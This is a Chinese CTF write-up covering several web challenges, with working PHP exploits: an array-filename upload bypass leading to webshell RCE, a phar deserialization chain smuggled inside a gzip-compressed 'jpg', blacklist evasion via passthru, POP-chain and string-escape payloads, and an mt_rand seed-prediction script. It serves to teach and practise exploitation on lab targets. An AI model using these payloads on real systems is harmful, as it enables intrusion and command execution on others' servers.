CMCTF-web

ez_upload

image-20250612131954135

文件上传题,在源码中得到被注释的源码

image-20250612132045754

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}

和文件上传靶场的第21关相似

1
2
3
4
5
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

先会检查MIME头,要求为图片中一个

1
2
3
4
5
6
7
8
9
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

如果上传的表单中提供了filename参数,会将其作为文件名,否则就会使用原始文件名,然后会将文件名转化为小写并按照.进行分隔为数组,提取最后的一个元素作为文件的扩展名,并验证其是否为图片格式

1
2
3
4
5
6
7
8
  $filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}

最后构建最终的文件名

1
$filename = reset($file) . '.' . $file[count($file) - 1];

reset($file)将数组内部指针指向第一个元素并返回该元素的值,这里就是获取的文件名的第一个部分,不包含扩展名,如:对于a.php,获取的就是a

$file[count($file) - 1]是获取数组的最后一个元素,就是文件的扩展名

可以构建filename为数组[0 => 'a.php/', 2 => 'jpg'],这里jpg的索引是2,没有设置索引为1的,所以最终构造出的就是a.php/.可以成功绕过

首先添加filename参数,利用bp抓包

image-20250612135008460

可以直接复制粘贴,构造filename为数组形式

image-20250612135117948

直接浏览器访问进行RCE

1
/upload/883e9b372445bca575a39b59f6e96a99/a.php/?a=system('cat /flag');

image-20250612144101272

ez?upload2

这题和 XYCTF2024 的 pharme 那题很像,同样的做法

pharme的WP:https://blog.csdn.net/qq_42557115/article/details/138267583

image-20250614161557576

可以文件上传,在源码中得到提示:class.php

image-20250614161637594

访问发现可以进行phar反序列化,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);

class hacker{
public $cmd;
public $a;
public function __destruct(){
if('hahaha' === preg_replace('/;+/','hahaha',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'hahaha!');
} else {
echo 'nonono';
}
}
}

if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
}
?>

定义了hacker类,有两个属性cmda,还有个__destruct()魔术方法,在该方法中有个双重正则,这里使用的preg_replace不会改变cmd的值

1
preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)

内层正则会将cmd的所有的大小写字母、下划线_和括号()换成空,就是删除这些

1
preg_replace('/;+/','hahaha', ...)

外层正则会将经过内层正则的cmd中的一个或多个连续分号替换为hahaha

1
if('hahaha' === ...) {

最后会判断cmd经过内外正则后是否和hahaha相等

从这段代码可知要打无参RCE才可以满足以上条件

1
eval($this->cmd.'hahaha!');

在满足以上条件后,会将cmdhahaha!拼接起来,并使用eval函数执行代码

这里要想利用eval函数执行命令,首先就是打无参RCE,然后就是要绕过屏蔽掉拼接在后面的hahaha!,最后phar反序列化即可

首先是打无参RCE,payload

1
highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

然后可以利用__halt_compiler();函数截断后面的hahaha!

__halt_compiler();函数后面不能有PHP代码,即使有也不会执行

image-20250614170005455

image-20250614170037952

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class hacker{
public $cmd;
public $a;
public function __destruct(){
if('hahaha' === preg_replace('/;+/','hahaha',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'hahaha!');
} else {
echo 'nonono';
}
}
}

$a = new hacker();
$a->cmd = "highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();";
echo serialize($a)."\n";

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

构造序列化payload部分的代码也可以写成如下

1
2
3
4
$a = new hacker();
$a->a = "highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();";
$a->cmd = &$a->a;
echo serialize($a)."\n";

这里使用的$a->cmd = &$a->a;,最终使cmd的值和a相等,只会占用一次存储空间,即a存储的值,如:

1
2
3
4
$a = new hacker();
$a->a = "xxx";
$a->cmd = &$a->a;
echo serialize($a);
1
O:6:"hacker":2:{s:3:"cmd";R:2;s:1:"a";s:3:"xxx";}

R:2 表示引用第2个字段,即 cmd 实际就是 a

运行exp后得到hacker.phar文件,上传发现存在过滤

image-20250614171721548

phar发序列化是不论文件名都可以执行的,改后缀名为图片,但是发现对内容有过滤

image-20250614171913726

利用脚本将.phar压缩为.jpg图片文件绕过

1
2
3
4
5
6
7
8
9
import gzip

with open('./hacker.phar', 'rb') as file: # 更改文件后缀
data = file.read()

ndata = gzip.compress(data)

with open('./hacker.jpg', 'wb') as file: # 更改文件后缀
file.write(ndata)

image-20250614172119641

成功上传,得到文件路径:/tmp/9e32fd5eb93d0766e32d9e33cc3ef2d5.jpg

class.php中利用POST参数file打phar反序列化

1
2
3
4
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}

但是这里不允许使用phar://开头,可以在前面加上filter伪协议绕过

1
file=php://filter/resource=phar:///tmp/9e32fd5eb93d0766e32d9e33cc3ef2d5.jpg

因为前面打的无参RCE随机读文件,所以要多提交几次,可以利用bp的Intruder插件,在cookie中随便加个参数即可

image-20250614172813504

image-20250614172950598

也可以利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests

i = 0
url = "http://27.25.151.40:33883/class.php"
while True:
i += 1
resp = requests.post(url, data={
'file': 'php://filter/resource=phar:///tmp/0412c29576c708cf0155e8de242169b1.jpg'
})
if 'flag' in resp.text:
print(i)
print(resp.text)

image-20250614173033060

最后按照题目要求进行MD5加密

image-20250614173049250

image-20250614173113584

1
flag{221523FADCCC5041307E75983D8C9E1F}

小猿口算签到重生版

image-20250614173406275

在控制台跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
(async () => {
// 先从 /generate 拿到 expression
let res = await fetch('/generate');
let data = await res.json();
let expr = data.expression;
console.log("拿到的 expression:", expr);

// 如果是带 = 的等式,提取 = 左边表达式
let lhs = expr.split("=")[0].trim();
console.log("提取到等式左边:", lhs);

// 计算等式左边的值
let answer;
try {
answer = eval(lhs);
console.log("计算得到的答案:", answer);
} catch (e) {
console.error("计算表达式出错:", e);
return;
}

// 发送 POST 请求到 /verify
res = await fetch('/verify', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({user_input: String(answer)})
});
data = await res.json();

if (data.flag) {
alert("恭喜你,答案正确!Flag: " + data.flag);
} else if (data.error) {
alert("出错啦: " + data.error);
} else {
alert("未知结果: " + JSON.stringify(data));
}
})();

image-20250614173442509

lottery签到重生版

image-20250614173556953

bp抓包爆破,总会抽出来

image-20250614173610708

image-20250614173620441

函数重生版

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
if(isset($_GET['i'])){
switch(strtolower(substr($_GET['i'],0,6))){
default:
if(!preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i',$_GET['i'])){
eval($_GET['i']);
}else{
die('error');
}break;
}
}

passthru函数可以用,catflag可以用\绕过,最后找到flag/tmp目录下

1
?i=passthru('ls /tmp');

image-20250614173740280

1
?i=passthru('c\at /tmp/fl\ag.sh');

image-20250614173759428

busy_search

flag被分成三部分,在源码中的注释部分

image-20250614173848564

image-20250614173856474

image-20250614173903541

1
CM{yong_chu_xuelian}

pop之我又双叒叕重生了

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class A1
{
public $a1;
public function __construct()
{
echo "v50 Crazy Thursday v+flag";
}
public function __wakeup()
{
$this->a1->get_flag();
}
}
class A2
{
public $a2 = '10086';
public function get_flag()
{
echo "flag{" . $this->a2 . "}";
}
}
class A3
{
public $a3;
public function __toString()
{
$this->a3->fun();
return " you can + 772019189 to ask answer";
}
}
class A4
{
public $a4;
public function fun()
{
if ($_GET["2025"]==="admin"){
echo "very easy not hard";
system("cat ./flag.php");
echo $cmflag;
}
}
}
if (isset($_GET["wlaq"])){
@unserialize($_GET["wlaq"]);
}

思路就是利用A1->__wakeup()触发A2->get_flag(),因为该方法中存在将对象当作字符串拼接,所以可以触发A3->__toString(),最后就可以调用到A4->fun()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class A1
{
public $a1;
}
class A2
{
public $a2;
}
class A3
{
public $a3;
}
class A4
{
public $a4;
}

$a1 = new A1();
$a2 = new A2();
$a3 = new A3();
$a4 = new A4();
$a1->a1 = $a2;
$a2->a2 = $a3;
$a3->a3 = $a4;

echo serialize($a1);
?>

payload部分也可以写成

1
2
3
4
$a1 = new A1();
$a1->a1 = new A2();
$a1->a1->a2 = new A3();
$a1->a1->a2->a3 = new A4();
1
O:2:"A1":1:{s:2:"a1";O:2:"A2":1:{s:2:"a2";O:2:"A3":1:{s:2:"a3";O:2:"A4":1:{s:2:"a4";N;}}}}

最后GET传参,记得加上2025参数,值为admin

1
?wlaq=O:2:"A1":1:{s:2:"a1";O:2:"A2":1:{s:2:"a2";O:2:"A3":1:{s:2:"a3";O:2:"A4":1:{s:2:"a4";N;}}}}&2025=admin

源码中得到flag

image-20250614175647733

can_u_escape

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include("flag.php");
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hake",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;

}
}
$param=$_GET['a'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo $flag;
}

?>

打PHP反序列化字符串增多逃逸

利用php会被替换为hack,逃逸掉后面的";s:4:"pass";s:8:"daydream";},一共29个字符,所以需要29个php,然后构造";s:4:"pass";s:8:"escaping";}

1
?a=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

image-20250614175837766

give!me!money!

扫目录可以扫出一个index.rar,访问下载该文件

image-20250614175902080

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

// 检查是否有id参数传入
$success=0;
$shenhe=0;
$time=$_GET['time'];
$money=$_GET['money'];
if (isset($_GET['id'])) {
$id = $_GET['id'];

// 根据id的值执行不同的操作
if ($id === 'a') {
// 如果id为a,向当前页面发送名为money的参数,值为648
header("Location: ?id=d&money=648");


} elseif ($id === 'b') {
// 如果id为b,输出特定的信息
echo "哈哈哈,琼瑰大学生,不要放弃挣扎,乖乖充钱吧!\n";
}
} else {
// 如果没有传入id参数,可以输出提示信息
echo "三国杀开启最新活动,充值送flag。充值114514元即可获得阴曹地府将邢甲御,附赠江大新生赛flag\n";

echo "提示:你的生活费为1000元。发送id=a充值648,发送id=b球球狗卡策划发大学生福利\n";
echo "快快充钱吧!";
}
if (isset($_GET['money']) && isset($_GET['id'])){
if ($money<114514){
echo "就这点钱还想买武将?";
}
else{
$ccc=time();
$ttt=substr($ccc, 0, 7);
mt_srand($ttt);
for($i =0; $i <= 100; $i++){
if($i == 100){
$shenhe = mt_rand();

}
else{
mt_rand();
};
}
}
}
$c=$_POST['c'];
if(isset($_POST['c']) && $money >= 114514){
if($c == $shenhe){
$sucess=1;
echo "";
}

}

if ($sucess==0 && $money >= 114514){
echo "开桂了?哪来这么多钱";
}
?>

目标就是满足以下部分

image-20250614175954127

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
import subprocess
import requests

# 目标 URL
BASE_URL = "http://27.25.151.40:33554/"

# 设置一个足够大的 money 值以满足 money >= 114514
MONEY = 200000

# 固定使用 id=d(也可改成 a,但重定向后同样会携带 money)
params = {
"id": "d",
"money": MONEY,
}

# 第一步:发送 GET 请求,触发服务器的 mt_srand/mt_rand 逻辑
t0 = int(time.time())
resp_get = requests.get(BASE_URL, params=params)
t1 = int(time.time())

print(f"[+] GET 返回 ({len(resp_get.text)} bytes),开始尝试预测 shenhe…")

# 第二步:遍历本地时间窗口,复现服务器上 PHP mt_rand 的第101次输出
for ts in range(t0 - 2, t1 + 3):
# PHP 中:$ccc = time(); $ttt = substr($ccc, 0, 7);
seed = int(str(ts)[:7])
# 用 PHP CLI 复现:mt_srand(seed); 跳过前 100 次 mt_rand(); 取第 101 次
cmd = (
f'php -r "'
f'mt_srand({seed});'
f'for($i=0;$i<100;$i++) mt_rand();'
f'echo mt_rand();"'
)
try:
shenhe = int(subprocess.check_output(cmd, shell=True))
except Exception as e:
continue

# 第三步:将候选的 shenhe 提交回服务器,看是否成功
post = requests.post(BASE_URL, params=params, data={"c": shenhe})
text = post.text

# 失败时服务器会输出 “开桂了?哪来这么多钱”
if "开桂了?哪来这么多钱" not in text:
print(f"[✔] 成功!预测到 shenhe = {shenhe}")
print("服务器返回:")
print(text)
break
else:
print("[-] 在给定时间窗口内未能猜中 shenhe,请扩大时间范围或检查 PHP CLI 环境。")

image-20250614192221435

u_know?

image-20250614184401153

提示shop.phpkfc.php

先看,shop.php,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
include("change.php");
$buy=$_GET['buy'];
$un_buy=unserialize($buy);
$gift1="xiaomisu7";
$gift2="redmiK60";
if(isset($_GET['buy'])){
$gift1=$anotherthing;
$gift2=$otherthing;

if($un_buy['onething']==$gift1 && $un_buy['twothing']==$gift2){
echo $flag1;
echo "谢谢你,你是个好人";
}
else{

echo "女神:“哎呀我补药买这个”";
}
}
else{
echo "给她买什么好呢";
}

?>

可以利用PHP的弱比较特性,在$gift1$gift2 是空字符串、非数字字符串或 "0" 的情况下,可以匹配 0

1
2
3
4
5
6
7
<?php
$data = array(
"onething" => 0,
"twothing" => 0
);
echo serialize($data);

1
a:2:{s:8:"onething";i:0;s:8:"twothing";i:0;}

image-20250614185607119

1
WW91IGRvbid0IGFjdHVhbGx5IGhhdmUgYSBnaXJsZnJpZW

然后看kfc.php

image-20250614185649962

提示kfc.rar,访问下载文件,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class order
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class zhengcan
{
public $lbjjrj;
function __call($name, $arguments)
{
echo $this->lbjjrj->douzhi;
}
}
class tiandian
{
function __get($Attribute)
{
echo '';
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
echo "使用压缩包点单kfc.rar";
}

简单的序列化,order->__destruct()调用不存在的方法helloworld()从而触发zhengcan->__call(),然后会调用不存在的属性douzhi,从而触发tiandian__get()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class order
{
public $start;
}
class zhengcan
{
public $lbjjrj;
}
class tiandian
{
}
$a = new order();
$a->start = new zhengcan();
$a->start->lbjjrj = new tiandian();
echo serialize($a);

?>
1
O:5:"order":1:{s:5:"start";O:8:"zhengcan":1:{s:6:"lbjjrj";O:8:"tiandian":0:{}}}

GET传参

1
?serialize=O:5:"order":1:{s:5:"start";O:8:"zhengcan":1:{s:6:"lbjjrj";O:8:"tiandian":0:{}}}

image-20250614190514920

1
5kLCBpdCdzIGp1c3QgbXkgaW1hZ2luYXJ5IGN5YmVyIGxpZmU=

将得到的两组字符串拼接起来进行base64解码

1
WW91IGRvbid0IGFjdHVhbGx5IGhhdmUgYSBnaXJsZnJpZW5kLCBpdCdzIGp1c3QgbXkgaW1hZ2luYXJ5IGN5YmVyIGxpZmU=

image-20250614190616281

1
CM{You don't actually have a girlfriend, it's just my imaginary cyber life}

CMCTF-web
https://yschen20.github.io/2025/06/14/CMCTF-web/
作者
Suzen
发布于
2025年6月14日
更新于
2025年6月14日
许可协议